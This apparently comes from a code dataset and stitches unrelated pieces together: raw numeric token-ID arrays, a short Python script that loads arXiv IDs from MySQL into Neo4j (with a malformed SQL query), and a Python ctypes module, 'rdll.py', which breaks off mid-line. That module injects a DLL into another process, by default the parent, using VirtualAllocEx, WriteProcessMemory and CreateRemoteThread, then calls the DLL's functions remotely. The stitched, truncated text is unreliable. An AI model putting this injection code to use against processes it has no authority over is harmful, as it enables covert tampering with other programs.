29902, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 735, 7009, 573, 8140, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 5527, 3071, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 4141, 2396, 29871, 29896, 29900, 29889, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 20787, 2776, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 5527, 3071, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 20787, 29918, 974, 2396, 29871, 29896, 29900, 29889, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 735, 7009, 573, 8140, 12539, 2396, 29871, 29900, 1118, 13, 9651, 3630, 1542, 29898, 1853, 2433, 9135, 3321, 11031, 742, 24802, 11759, 29902, 3580, 8476, 29918, 24815, 1806, 18474, 29918, 29943, 3927, 1299, 11724, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 735, 7009, 573, 7976, 12539, 2396, 29871, 29900, 1118, 13, 9651, 3630, 1542, 29898, 1853, 2433, 29940, 387, 1230, 11031, 742, 24802, 11759, 29902, 3580, 8476, 29918, 8186, 29954, 1299, 18474, 29918, 29943, 3927, 1299, 11724, 13, 4706, 10353, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 657, 29918, 1272, 29918, 7411, 29918, 1853, 29898, 8768, 29892, 8636, 29892, 848, 29918, 1853, 1125, 13, 1678, 4974, 3630, 1542, 3260, 2141, 657, 29918, 1272, 29918, 7411, 29918, 1853, 29898, 8768, 29892, 3579, 7529, 29897, 1275, 848, 29918, 1853, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 525, 8768, 29892, 7529, 29892, 1272, 29918, 1853, 742, 13, 1678, 518, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 24335, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 23307, 742, 24802, 11759, 17518, 29898, 3166, 29918, 2433, 7099, 3039, 742, 1053, 29918, 2433, 23307, 1495, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 11117, 27525, 398, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 7099, 3039, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 280, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 11117, 735, 7009, 573, 7976, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 7099, 3039, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 1896, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 11117, 1195, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 7099, 3039, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 479, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 11117, 735, 7009, 573, 8140, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 7099, 3039, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 4141, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 11117, 20787, 2776, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 7099, 3039, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 20787, 29918, 974, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 657, 29918, 1272, 29918, 7099, 3039, 29918, 1853, 29898, 8768, 29892, 8636, 29892, 848, 29918, 1853, 1125, 13, 1678, 4974, 3630, 1542, 3260, 2141, 657, 29918, 1272, 29918, 7099, 3039, 29918, 1853, 29898, 8768, 29892, 3579, 7529, 29897, 1275, 848, 29918, 1853, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 525, 8768, 29892, 7529, 29892, 1272, 29918, 1853, 742, 13, 1678, 518, 13, 4706, 313, 10562, 29889, 1807, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 710, 1495, 511, 13, 4706, 313, 13, 9651, 28025, 29889, 1807, 29892, 13, 9651, 11117, 11037, 2396, 525, 29985, 10736, 16675, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 710, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 13087, 2396, 376, 29878, 29915, 29985, 10736, 29915, 10758, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10810, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 1807, 29892, 13, 9651, 11117, 1195, 6513, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 710, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 1195, 29918, 2848, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10810, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 1807, 29892, 13, 9651, 11117, 3317, 6513, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 710, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 3317, 29918, 2848, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10810, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 657, 29918, 1272, 29918, 710, 29918, 1853, 29898, 8768, 29892, 8636, 29892, 848, 29918, 1853, 1125, 13, 1678, 4974, 3630, 1542, 3260, 2141, 657, 29918, 1272, 29918, 710, 29918, 1853, 29898, 8768, 29892, 3579, 7529, 29897, 1275, 848, 29918, 1853, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 525, 8768, 29892, 7529, 29892, 1272, 29918, 1853, 742, 13, 1678, 518, 13, 4706, 313, 10562, 29889, 1807, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 710, 1495, 511, 13, 4706, 313, 10562, 29889, 16031, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 524, 1495, 511, 13, 4706, 313, 10562, 29889, 7411, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 7411, 1495, 511, 13, 4706, 313, 10562, 29889, 20054, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 11227, 1495, 511, 13, 4706, 313, 13, 9651, 28025, 29889, 7099, 3039, 29892, 13, 9651, 24335, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 23307, 742, 24802, 11759, 17518, 29898, 3166, 29918, 2433, 7099, 3039, 742, 1053, 29918, 2433, 23307, 1495, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 657, 29918, 1272, 29918, 1853, 29898, 8768, 29892, 8636, 29892, 848, 29918, 1853, 1125, 13, 1678, 4974, 3630, 1542, 3260, 2141, 657, 29918, 1272, 29918, 1853, 29898, 8768, 29892, 3579, 7529, 29897, 1275, 848, 29918, 1853, 13, 13, 13, 1753, 1243, 29918, 1272, 29918, 1853, 29918, 1853, 29918, 29882, 524, 7295, 13, 1678, 4974, 3630, 1542, 29898, 1853, 2433, 710, 2824, 1853, 29918, 29882, 524, 1275, 525, 710, 29915, 13, 1678, 4974, 3630, 1542, 29898, 1853, 2433, 535, 710, 742, 338, 29918, 9891, 29922, 5574, 467, 1853, 29918, 29882, 524, 1275, 525, 535, 710, 580, 29915, 13, 1678, 4974, 313, 13, 4706, 3630, 1542, 29898, 1853, 2433, 535, 710, 742, 338, 29918, 9891, 29922, 5574, 29892, 9049, 5085, 3790, 29915, 1195, 29918, 2848, 2396, 29871, 29896, 29900, 7690, 1853, 29918, 29882, 524, 13, 4706, 1275, 525, 535, 710, 29898, 1195, 29918, 2848, 29922, 29896, 29900, 16029, 13, 1678, 1723, 13, 2 ]
rk_brain/knowldgegraph/abstract/neo4j_node_builder_abstract.py
ResearchKernel/MachineLearning
1
191624
<reponame>ResearchKernel/MachineLearning import logging logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) import pandas as pd import gensim import pymysql.cursors from py2neo import authenticate, Graph, Node, Relationship from multiprocessing import Pool # set up authentication parameters authenticate("camelot:7474", "neo4j", "<PASSWORD>") # connect to authenticated graph database graph = Graph(password="password") # Connect to the MYSQL database connection = pymysql.connect(host='localhost', user='root', password='<PASSWORD>', db='arxivOverload', charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor) # create cursor to MYSQL database cursor = connection.cursor() def neo_node_creator(dataframe_list_graph, graph): ''' Fucntion takes dataframe Create nodes without any relatioships ''' for i in dataframe_list_graph: cypher = graph.begin() cypher.run('create (id:paper {arxiv_id:"%s"})' % i) cypher.commit() if __name__ == "__main__": # pool = Pool() # New data fetch query query = "select arxiv_id, primary_category from arxivOverload.paper_metadata where created_at > '2018-05-11 15:23:09' and ;" # New data to train online_dataframe = pd.read_sql(query, con=connection) # extaacting list from Dataframe new_arxiv_ids = online_dataframe['arxiv_id'].tolist() # Creating zip of dataframe and graph neo_node_creator(new_arxiv_ids, graph) # pool.map(new_arxiv_ids, neo_node_creator) # pool.close() # pool.merge()
[ 1, 529, 276, 1112, 420, 29958, 1666, 2842, 29968, 5851, 29914, 29076, 29931, 799, 1076, 13, 5215, 12183, 13, 21027, 29889, 16121, 3991, 29898, 4830, 2433, 29995, 29898, 294, 312, 603, 29897, 29879, 584, 1273, 29898, 5563, 978, 29897, 29879, 584, 1273, 29898, 4906, 29897, 29879, 742, 3233, 29922, 21027, 29889, 11690, 29897, 13, 13, 5215, 11701, 408, 10518, 29871, 13, 5215, 26943, 326, 29871, 13, 5215, 282, 962, 952, 1519, 29889, 29883, 1295, 943, 13, 3166, 11451, 29906, 11496, 1053, 15585, 403, 29892, 12367, 29892, 9071, 29892, 6376, 800, 4034, 13, 3166, 6674, 307, 985, 292, 1053, 28625, 13, 13, 29937, 731, 701, 10760, 4128, 13, 27218, 403, 703, 11108, 295, 327, 29901, 29955, 29946, 29955, 29946, 613, 376, 11496, 29946, 29926, 613, 9872, 25711, 17013, 29958, 1159, 13, 13, 29937, 4511, 304, 15585, 630, 3983, 2566, 13, 4262, 353, 12367, 29898, 5630, 543, 5630, 1159, 13, 13, 29937, 14971, 304, 278, 19519, 4176, 2566, 13, 9965, 353, 282, 962, 952, 1519, 29889, 6915, 29898, 3069, 2433, 7640, 742, 13, 462, 9651, 1404, 2433, 4632, 742, 13, 462, 9651, 4800, 2433, 29966, 25711, 17013, 29958, 742, 13, 462, 9651, 4833, 2433, 279, 26560, 3563, 1359, 742, 13, 462, 9651, 17425, 2433, 9420, 29947, 8337, 29946, 742, 13, 462, 9651, 10677, 1990, 29922, 29886, 962, 952, 1519, 29889, 29883, 1295, 943, 29889, 21533, 19890, 29897, 13, 29937, 1653, 10677, 304, 19519, 4176, 2566, 13, 18127, 353, 3957, 29889, 18127, 580, 13, 13, 13, 13, 1753, 452, 29877, 29918, 3177, 29918, 1037, 1061, 29898, 1272, 2557, 29918, 1761, 29918, 4262, 29892, 3983, 1125, 13, 1678, 14550, 13, 1678, 383, 1682, 593, 291, 4893, 12205, 13, 1678, 6204, 7573, 1728, 738, 1104, 2219, 359, 14587, 13, 1678, 14550, 13, 1678, 363, 474, 297, 12205, 29918, 1761, 29918, 4262, 29901, 13, 4706, 5094, 8096, 353, 3983, 29889, 463, 580, 13, 4706, 5094, 8096, 29889, 3389, 877, 3258, 313, 333, 29901, 19773, 426, 279, 26560, 29918, 333, 6160, 29995, 29879, 29908, 1800, 29915, 1273, 474, 29897, 13, 4706, 5094, 8096, 29889, 15060, 580, 29871, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 396, 11565, 353, 28625, 580, 13, 1678, 396, 1570, 848, 6699, 2346, 29871, 13, 1678, 2346, 353, 376, 2622, 564, 26560, 29918, 333, 29892, 29871, 7601, 29918, 7320, 515, 564, 26560, 3563, 1359, 29889, 19773, 29918, 19635, 988, 2825, 29918, 271, 1405, 525, 29906, 29900, 29896, 29947, 29899, 29900, 29945, 29899, 29896, 29896, 29871, 29896, 29945, 29901, 29906, 29941, 29901, 29900, 29929, 29915, 322, 2056, 29908, 13, 1678, 396, 1570, 848, 304, 7945, 29871, 13, 1678, 7395, 29918, 1272, 2557, 353, 10518, 29889, 949, 29918, 2850, 29898, 1972, 29892, 378, 29922, 9965, 29897, 13, 1678, 396, 429, 941, 627, 292, 1051, 515, 3630, 2557, 13, 1678, 716, 29918, 279, 26560, 29918, 4841, 353, 7395, 29918, 1272, 2557, 1839, 279, 26560, 29918, 333, 13359, 25027, 391, 580, 13, 1678, 396, 26221, 14319, 310, 12205, 322, 3983, 29871, 13, 1678, 452, 29877, 29918, 3177, 29918, 1037, 1061, 29898, 1482, 29918, 279, 26560, 29918, 4841, 29892, 3983, 29897, 13, 1678, 396, 11565, 29889, 1958, 29898, 1482, 29918, 279, 26560, 29918, 4841, 29892, 452, 29877, 29918, 3177, 29918, 1037, 1061, 29897, 13, 1678, 396, 11565, 29889, 5358, 580, 13, 1678, 396, 11565, 29889, 14634, 580, 13, 268, 2 ]
rdll.py
juntalis/python-ctypes-sandbox
3
48643
# encoding: utf-8 """ This program is free software. It comes without any warranty, to the extent permitted by applicable law. You can redistribute it and/or modify it under the terms of the Do What The Fuck You Want To Public License, Version 2, as published by Sam Hocevar. See http://sam.zoy.org/wtfpl/COPYING for more details. TODO: Make this not suck. """ import os from _ctypes import FUNCFLAG_CDECL as _FUNCFLAG_CDECL,\ FUNCFLAG_STDCALL as _FUNCFLAG_STDCALL,\ FUNCFLAG_PYTHONAPI as _FUNCFLAG_PYTHONAPI,\ FUNCFLAG_USE_ERRNO as _FUNCFLAG_USE_ERRNO,\ FUNCFLAG_USE_LASTERROR as _FUNCFLAG_USE_LASTERROR from _kernel32 import PLoadLibraryW as PLoadLibrary from extern import pefile import functools from _kernel32 import * from struct import calcsize as _calcsz # Utility stuff (decorators/base classes/functions) def memoize(obj): """ From the Python Decorator Library (http://wiki.python.org/moin/PythonDecoratorLibrary): Cache the results of a function call with specific arguments. Note that this decorator ignores **kwargs. """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): if args not in cache: cache[args] = obj(*args, **kwargs) return cache[args] return memoizer def _find_parent_process(): """ Obtain the process and thread identifiers of the parent process. BOOL get_parent_process( LPPROCESS_INFORMATION ppi ) { HANDLE hSnap; PROCESSENTRY32 pe; THREADENTRY32 te; DWORD id = GetCurrentProcessId(); BOOL fOk; hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS|TH32CS_SNAPTHREAD, id ); if (hSnap == INVALID_HANDLE_VALUE) return FALSE; find_proc_id( hSnap, id, &pe ); if (!find_proc_id( hSnap, pe.th32ParentProcessID, &pe )) { CloseHandle( hSnap ); return FALSE; } te.dwSize = sizeof(te); for (fOk = Thread32First( hSnap, &te ); fOk; fOk = Thread32Next( hSnap, &te )) if (te.th32OwnerProcessID == pe.th32ProcessID) break; CloseHandle( hSnap ); ppi->dwProcessId = pe.th32ProcessID; ppi->dwThreadId = te.th32ThreadID; return fOk; } """ pid = GetCurrentProcessId() hSnap = CreateToolhelp32Snapshot(PROC_THREAD_SNAPSHOT, 0) if hSnap == NULL: raise WinError('Could not create a Toolhelp32Snapshot') (fOk, pe) = _find_proc_id(hSnap, pid) if fOk == FALSE: raise WinError('Could not find current proc') ppid = pe.th32ParentProcessID fOk, ppe = _find_proc_id(hSnap, ppid) if fOk == FALSE: raise WinError('Could not find parent proc id') te = THREADENTRY32() te.dwSize = SZTHREADENTRY fOk = Thread32First(hSnap, byref(te)) while fOk != FALSE: if te.th32OwnerProcessID == ppe.th32ProcessID: break fOk = Thread32Next(hSnap, byref(te)) if fOk == FALSE: raise WinError('Could not find thread.') CloseHandle(hSnap) return ppe.th32ProcessID, te.th32ThreadID def _find_proc_id(hSnap, pid): """ Search each process in the snapshot for id. BOOL find_proc_id( HANDLE snap, DWORD id, LPPROCESSENTRY32 ppe ) { BOOL fOk; ppe->dwSize = sizeof(PROCESSENTRY32); for (fOk = Process32First( snap, ppe ); fOk; fOk = Process32Next( snap, ppe )) if (ppe->th32ProcessID == id) break; return fOk; } """ ppe = PROCESSENTRY32() ppe.dwSize = SZPROCESSENTRY fOk = Process32First(hSnap, byref(ppe)) while fOk != FALSE: if ppe.th32ProcessID == pid: break fOk = Process32Next(hSnap, byref(ppe)) return fOk, ppe def _bypid(pid): """ Find a process and it's main thread by its process ID. """ hSnap = CreateToolhelp32Snapshot(PROC_THREAD_SNAPSHOT, 0) if hSnap == NULL: raise WinError('Could not create a Toolhelp32Snapshot') (fOk, pe) = _find_proc_id(hSnap, pid) if fOk == FALSE: raise WinError('Could not find process by id: %d' % pid) # Find the thread te = THREADENTRY32() te.dwSize = SZTHREADENTRY fOk = Thread32First(hSnap, byref(te)) while fOk != FALSE: if te.th32OwnerProcessID == pe.th32ProcessID: break fOk = Thread32Next(hSnap, byref(te)) if fOk == FALSE: raise WinError('Could not find thread.') CloseHandle(hSnap) return pe.th32ProcessID, te.th32ThreadID def _pack_args(*args): """ Pack multiple arguments into """ class _Args(Structure): pass fields = [] for i, arg in enumerate(args): fields.append(('arg%d' % i, type(arg),)) _Args._fields_ = fields Args = _Args() for i, arg in enumerate(args): try: setattr(Args, 'arg%d' % i, arg) except: try: setattr(Args, 'arg%d' % i, arg.value) except: setattr(Args, 'arg%d' % i, arg.contents) return Args _szp1 = lambda a: len(a) + 1 def _isptr(typ): return hasattr(typ, '_type_') and (typ._type_ == 'P' or type(typ._type_) != str) def _pynumtyp2ctype(arg, typ=None): if typ is None: typ = type(arg) if typ == int: if arg < 0: #ctyp = c_short #if arg > c_short_max or arg < c_short_min: ctyp = c_int if arg > c_int_max or arg < c_int_min: ctyp = c_longlong if arg > c_long_max or arg < c_long_min else c_long return ctyp else: #ctyp = c_ushort #if arg > c_ushort_max: ctyp = c_uint if arg > c_uint_max: ctyp = c_ulonglong if arg > c_ulong_max else c_ulong return ctyp elif typ == long: if arg < 0: return c_longlong if arg > c_long_max or arg < c_long_min else c_long else: return c_ulonglong if arg > c_ulong_max else c_ulong elif typ == float: ctyp = c_float try: result = ctyp(arg) except: ctyp = c_double try: result = ctyp(arg) except: ctyp = c_longdouble return ctyp else: raise Exception('Arg doesnt appear to be a number-type.. Arg: %s Type: %s' % (str(arg), str(typ))) def _carrtype(val, typ, size, num=True): buf = typ() larg = len(val) - 1 for i in range(0, size - 1): if i > larg: continue if type(val[i]) in [str, unicode] and num: val[i] = ord(val[i]) buf[i] = val[i] return buf def _pychars2ctype(arg, size = None, typ=None): if typ is None: typ = type(arg) if size is None: size = len(arg) if typ == str: return c_char_p, create_string_buffer(arg, size) elif typ == unicode: return c_wchar_p, create_unicode_buffer(arg, size) elif typ == buffer: #noinspection PyTypeChecker argtype = c_ubyte * size return argtype, _carrtype(list(arg), argtype, size) elif typ == bytearray: size += 1 #noinspection PyTypeChecker,PyUnresolvedReferences argtype = c_byte * size return argtype, _carrtype(list(arg), argtype, size - 1) def py2ctype(arg): """ TODO: Use this in the allocation/argtype stuff in RCFuncPtr """ typ = type(arg) if typ in [str, unicode, buffer, bytearray]: ctyp, cval = _pychars2ctype(arg, typ=typ) return cval elif typ in [ int, long, float ]: ctyp = _pynumtyp2ctype(arg, typ) return ctyp(arg) elif typ in [list, set, tuple]: arg = list(arg) size = len(arg) + 1 argtype = c_int numtyp = True # Only going to handle collections of strings, unicode strings, and numbers for argi in arg: typ = type(argi) if typ in [ str, unicode ]: argtype, dummy = _pychars2ctype(argi, typ=typ) numtyp = False break elif typ in [ long, int, float ]: argtype = _pynumtyp2ctype(argi, typ) if typ == float: numtyp = False break return _carrtype(arg, argtype * size, size, num=numtyp) else: raise Exception('Dont know what to do with arg.\nArg: %s\nType: %s' % (arg, type(arg))) class _RCFuncPtr(object): _addr_ = 0 _flags_ = None _restype_ = None _funcptr_ = None _hprocess_ = None def _valueof(self, arg): if not hasattr(arg, '_type_'): return arg elif hasattr(arg, 'value'): return arg.value elif hasattr(arg, 'contents'): return arg.contents else: return arg #raise Exception('Don\'t know how to get the value of arg.\nType: %s' % type(arg)) def _valtoargtype(self, arg, argtype): result = 0 if type(arg) in [str, unicode]: if argtype == c_char_p: result = create_string_buffer(arg, len(arg) + 1) elif argtype == c_wchar_p: result = create_unicode_buffer(arg, len(arg) + 1) elif argtype._type_ == c_ubyte: result = (c_ubyte * len(arg) + 1)() for i, c in enumerate(arg): result[i] = c else: raise Exception('Don\'t know how to convert string, "%s" into type: %s' % (arg, argtype)) # Array type elif hasattr(argtype, '_length_')\ or type(argtype._type_) != str: # Pointer type try: result = cast(arg, argtype) except: result = arg elif hasattr(argtype, 'value'): try: result = argtype(arg) except: result = arg else: try: result = cast(arg, c_void_p) except: result = arg #raise Exception('Don\'t know how to convert arg to argtype.\nArg: %s\nArgtype: %s' % (arg, argtype)) return result def _alloc_set_var(self, val): """ BOOL alloc_set_varA(LPCSTR* buffer, HANDLE hProcess, LPCSTR val) { SIZE_T buflen = (lstrlen(val) + 1) * sizeof(const char); if (!(*buffer = (LPCSTR) VirtualAllocEx(hProcess, NULL, buflen, MEM_COMMIT, PAGE_READWRITE))) return_error("Could not allocate memory for our test call."); if (!WriteProcessMemory(hProcess, (LPVOID)*buffer, (LPCVOID)val, (SIZE_T)buflen, NULL)) return_error("Could write to our remote variable.."); return TRUE; } """ buflen = sizeof(val) buffer = VirtualAllocEx(self._hprocess_, 0L, buflen, MEM_COMMIT, PAGE_READWRITE) if buffer == NULL: raise Exception('Could not allocate our remote buffer.') try: if WriteProcessMemory(self._hprocess_, LPCVOID(buffer), val, buflen, ULONG_PTR(0)) == FALSE: raise Exception('Could not write to our remote variable.') except ArgumentError: if WriteProcessMemory(self._hprocess_, LPCVOID(buffer), addressof(val), buflen, ULONG_PTR(0)) == FALSE: raise Exception('Could not write to our remote variable.') return buffer def __call__(self, *more): # real signature unknown; restored from __doc__ """ x.__call__(...) <==> x(...) """ funcptr = self._funcptr_ result = DWORD(0L) if not hasattr(funcptr, 'restype') or funcptr.restype is None else funcptr.restype() lpParameter = NULL if not hasattr(funcptr, 'noalloc') or not funcptr.noalloc: if funcptr.argtypes is not None and len(funcptr.argtypes) > 0: args = [] argcount = len(more) for i, argtype in enumerate(funcptr.argtypes): arg = 0 if i >= argcount: arg = argtype() elif hasattr(more[i], '_type_'): if more[i]._type_ == argtype: arg = more[i] else: arg = self._valtoargtype(self._valueof(more[i]), argtype) else: arg = self._valtoargtype(more[i], argtype) args.append(arg) if argcount > 1: lpParameter = _pack_args(*args) else: lpParameter = args[0] if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter): lpParameter = self._alloc_set_var(lpParameter) elif len(more) > 0: if len(more) == 1: lpParameter = cast(more[0], c_void_p) else: tlen = len(self.argtypes) if hasattr(self, 'argtypes') else 0 more = list(more) for i, arg in enumerate(more): if i > tlen: more[i] = py2ctype(arg) else: typ = self.argtypes[i] if typ == c_char_p: more[i] = create_string_buffer(arg) elif typ == c_wchar_p: more[i] = create_unicode_buffer(arg) elif _isptr(typ): more[i] = cast(arg,typ) else: more[i] = self.argtypes[i](arg) lpParameter = _pack_args(*more) hRemoteThread = CreateRemoteThread( self._hprocess_, NULL_SECURITY_ATTRIBUTES, 0, cast(self._addr_, LPTHREAD_START_ROUTINE), lpParameter, 0L, byref(c_ulong(0L)) ) if hRemoteThread == NULL: if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter): VirtualFreeEx(self._hprocess_, lpParameter, 0, MEM_RELEASE) CloseHandle(self._hprocess_) raise WinError('Failed to start our remote thread.') WaitForSingleObject(hRemoteThread, INFINITE) GetExitCodeThread(hRemoteThread, cast(byref(result), LPDWORD)) CloseHandle(hRemoteThread) if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter): VirtualFreeEx(self._hprocess_, lpParameter, 0, MEM_RELEASE) return result def __init__(self, offset, funcid, rdll): self._addr_ = offset if self._flags_ == _FUNCFLAG_CDECL: self._funcptr_ = CFUNCTYPE(self._restype_) elif self._flags_ == _FUNCFLAG_STDCALL: self._funcptr_ = WINFUNCTYPE(self._restype_) elif self._flags_ == _FUNCFLAG_PYTHONAPI: self._funcptr_ = PYFUNCTYPE(self._restype_) self._funcptr_._func_flags_ = self._flags_ def __nonzero__(self): """ x.__nonzero__() <==> x != 0 """ return self._funcptr_.__nonzero__() def __repr__(self): # real signature unknown; restored from __doc__ """ x.__repr__() <==> repr(x) """ return self._funcptr_.__repr__() @memoize def _has(self, key): return key in dir(_RCFuncPtr) def __setattr__(self, key, value): if self._has(key): super(_RCFuncPtr, self).__setattr__(key, value) else: setattr(self._funcptr_, key, value) def __getattr__(self, key): return super(_RCFuncPtr, self).__getattr__(key) if\ self._has(key) else\ getattr(self._funcptr_, key) class RCDLL(object): _func_flags_ = _FUNCFLAG_CDECL _func_restype_ = c_int _hprocess_ = 0 _hthread_ = 0 _exports_ = {} _funcs_ = {} def __init__(self, name = None, pid = 0, thid = 0, mode = DEFAULT_MODE, handle = None, use_errno = False, use_last_error = False): if name is None and handle is None: raise WindowsError('We need either a name or a handle to a preloaded DLL to create a DLL interface.') elif name is None: self._name = GetModuleFileName(handle) else: self._name = name flags = self._func_flags_ if use_errno: flags |= _FUNCFLAG_USE_ERRNO if use_last_error: flags |= _FUNCFLAG_USE_LASTERROR self._hthread_ = thid pi, ti = 0, 0 if pid == 0: check = _find_parent_process() if check is None: raise WinError('Failed to open our parent process and no pid specified.') pi, ti = check else: pi, ti = _bypid(pid) if self._hthread_ == 0: self._hthread_ = ti self._hprocess_ = OpenProcess(PROCESS_MOST, FALSE, pi) class _FuncPtr(_RCFuncPtr): _flags_ = flags _restype_ = self._func_restype_ _hprocess_ = self._hprocess_ self._FuncPtr = _FuncPtr self._handle = self.__inject__() if self._handle == 0: raise WindowsError('Could not inject your library: %s' % self._name) self.__populate_exports__() def __inject__(self): val = create_unicode_buffer(self._name, len(self._name) + 1) buflen = sizeof(val) buffer = VirtualAllocEx(self._hprocess_, 0L, buflen, MEM_COMMIT, PAGE_READWRITE) if buffer == NULL: raise Exception('Could not allocate our remote buffer.') if WriteProcessMemory(self._hprocess_, buffer, cast(val, LPCVOID), buflen, ULONG_PTR(0)) == FALSE: raise Exception('Could not write to our remote variable.') hRemoteThread = CreateRemoteThread( self._hprocess_, NULL_SECURITY_ATTRIBUTES, 0, PLoadLibrary, buffer, 0L, byref(c_ulong(0L)) ) if hRemoteThread == NULL: VirtualFreeEx(self._hprocess_, buffer, 0, MEM_RELEASE) CloseHandle(self._hprocess_) raise WinError('Failed to start our remote thread.') WaitForSingleObject(hRemoteThread, INFINITE) result = c_ulong(0) GetExitCodeThread(hRemoteThread, byref(result)) CloseHandle(hRemoteThread) VirtualFreeEx(self._hprocess_, buffer, 